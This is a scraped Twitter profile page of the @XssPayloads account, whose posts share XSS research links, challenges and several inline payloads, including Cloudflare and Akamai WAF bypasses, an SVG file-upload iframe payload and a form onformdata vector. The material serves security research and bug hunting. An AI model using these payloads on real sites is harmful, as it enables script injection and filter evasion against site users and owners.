XSS Payloads(@XssPayloads) 's Twitter Profileg
XSS Payloads

@XssPayloads

ID:2893592123

linkhttps://xss-payloads.paracyberbellum.io calendar_today26-11-2014 17:54:23

1,5K Tweets

43,0K Followers

0 Following

XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 week ago

How we escalated a DOM XSS to a sophisticated 1-click Account Takeover, a great article by Benasin and Long Phan Nguyên
Part 1: bit.ly/49N43qs
Part 2: bit.ly/3xXB2Ld

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 week ago

A cloudflare WAF bypass payload, reposted by Clandestine
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 week ago

A nice collection of Server-Side Prototype Pollution gadgets by Mikhail Shcherbakov and the KTH Royal Institute of Technology
github.com/KTH-LangSec/se…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

2 weeks ago

A confeti payload for nicer XSS, by renniepak
Demo: bit.ly/3vYQHJC
Code: 0-a.nl/conf.js

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

Bypasses for the most popular WAFs, a useful scheatsheet by Project NZT-48
bit.ly/3UiyoZv

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

Some more payloads, by VAIDIK PANDYA
x.com/h4x0r_fr34k/st…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

Nice collection of XSS filters bypasses by Edra
github.com/Edr4/XSS-Bypas…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

XSS WAF Bypass One payload for all, interesting evasion technique by Edra
bit.ly/3xvW5oc

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

3 weeks ago

April XSS challenge by Intigriti
challenge-0424.intigriti.io

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

Bypassing DOMPurify with good old XML, nice findings by RyotaK
bit.ly/4amINc3

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

2 interesting XSS writeups by sudi
github.com/Sudistark/xss-…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

SVG File upload payload by Stealthy

<svg> <foreignObject width='100%' height='100%'> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>

x.com/stealthybugs/s…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

DOM Purify - untrusted Node bypass, a way to bypass DOMPurify when used in a specific way, by slonser
bit.ly/4aolQoo

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

March XSS challenge by Intigriti
challenge-0324.intigriti.io

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

Akamai WAF bypass XSS, by smaury
<input id=b value=javascrip>
<input id=c value=t:aler>
<input id=d value=t(1)>
<lol
contenteditable
onbeforeinput='location=b.value+c.value+d.value'>
click and write here!

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

Reply to calc: The Attack Chain to Compromise Mailspring, great finding turning an XSS to an RCE, by Yaniv Nizry
bit.ly/3ThiInh

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

Form submission vector, by Mateo Hanžek
<form onformdata='alert(1)'><button>Click</button></form>

Now added to PortSwigger Research XSS Cheatsheet:
portswigger.net/web-security/c…

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

1 month ago

OpenNMS Vulnerabilities: Securing Code against Attackers’ Unexpected Ways, excellent article by Stefan Schiller using SNMP traps as XSS vector and leading to RCE.
bit.ly/4372FNA

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

2 months ago

Exploiting CSP Wildcards for Google Domains, a nice finding by Attacks Ships On Fire (attackshipsonfi.re)
bit.ly/3P2bjXH

account_circle
XSS Payloads(@XssPayloads) 's Twitter Profile Photo
XSS Payloads
@XssPayloads

2 months ago

Go Go XSS Gadgets: Chaining a DOM Clobbering Exploit in the Wild, excellent finding by Brett Buerhaus , Sam Curry and xEHLE
bit.ly/3T8Cp1Z

account_circle